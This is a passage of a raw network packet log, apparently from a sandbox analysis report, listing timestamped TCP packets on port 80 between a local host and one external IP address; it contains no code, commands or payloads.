Jan 10, 2025 19:01:55.018594980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018605947 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018613100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018635035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018697977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018709898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018735886 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018762112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018773079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018785000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.018800020 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018821001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.018891096 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052659988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052680969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052689075 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052699089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052709103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052726030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052736044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052745104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052755117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052764893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052777052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052788019 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052794933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052839041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052844048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052844048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052844048 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052867889 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052876949 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052898884 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052908897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052917004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052923918 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052931070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.052968025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.052983046 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053006887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053016901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053026915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053050041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053086996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053098917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053108931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053129911 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053157091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053155899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053177118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053188086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053196907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053212881 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053239107 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053261995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053272009 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053283930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053308010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053339005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053349972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053376913 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053391933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053402901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053412914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053423882 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053435087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053437948 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053452969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053471088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053474903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053483963 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053507090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053529024 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053587914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053601980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053611994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053622961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053623915 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053637981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053651094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053659916 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053670883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053680897 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053709984 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053715944 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053723097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053755045 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053760052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053774118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053813934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053821087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053862095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053873062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053883076 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053899050 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053921938 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.053987980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.053999901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054044008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054045916 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054054976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054064989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054089069 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054104090 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054116964 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054126978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054143906 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054151058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054166079 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054195881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054208040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054234982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054258108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054270029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054301977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054326057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054337978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054364920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054383993 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054394960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054405928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054425001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054435015 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054446936 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054450989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054483891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054514885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054526091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054552078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054559946 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054563999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054575920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054606915 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054646969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054656982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054687023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054712057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054723024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054733038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054753065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054776907 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054783106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054795980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054832935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054848909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054860115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054871082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054896116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.054896116 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.054934025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.071980000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.071993113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072000027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072062016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072072983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072149992 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072160959 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072169065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.072191954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.072191954 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.072230101 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.104727030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119003057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119016886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119026899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119039059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119044065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119050026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119096041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119107008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119117022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119165897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119175911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119182110 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119210958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119210958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119210958 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119230032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119239092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119245052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119294882 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119364977 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119376898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119383097 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119386911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119456053 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119491100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119503021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119508982 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119518995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119553089 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119585991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119587898 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.119597912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119605064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119609118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.119699955 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.147769928 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147782087 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147789001 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147845030 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147856951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147928953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147939920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147958994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147964954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147973061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147978067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.147979975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.147979975 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148036957 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148066044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148076057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148082972 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148088932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148200035 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148323059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148334026 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148340940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148344994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148350954 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148358107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148369074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148374081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148377895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148384094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148399115 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148452044 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148545027 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148556948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148574114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148580074 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148586988 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148591995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148598909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148610115 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148638010 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148685932 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148706913 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148734093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148745060 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148838997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148871899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148884058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148890018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148895979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148902893 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.148952961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.148991108 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149051905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149064064 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149070978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149076939 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149087906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149095058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149111032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149162054 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149230957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149244070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149254084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149260044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149266958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149271965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149279118 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149353981 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149456978 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149467945 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149473906 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149478912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149496078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149512053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149524927 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149524927 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149547100 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149553061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149553061 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149605989 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149717093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149868965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149883986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149894953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149907112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149912119 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149919033 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149924040 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149930000 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149933100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.149935961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.149944067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150006056 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.150099039 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150244951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150255919 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150263071 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150269032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150274038 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150279999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150290966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150302887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150317907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150326967 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.150331020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150343895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150363922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.150409937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.150561094 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150573969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150580883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150589943 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150595903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.150660992 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.163254023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.163268089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.163279057 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.163327932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.163482904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.174096107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174105883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174117088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174123049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174139977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.174205065 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.174537897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174546957 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174555063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174606085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174617052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174623966 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.174670935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174675941 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.174684048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174732924 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.174736977 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 19:01:55.206922054 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.206954956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.206969976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.206979990 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.206993103 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207010031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 19:01:55.207022905 CET	80	49730	193.143.1.205	192.168.2.4
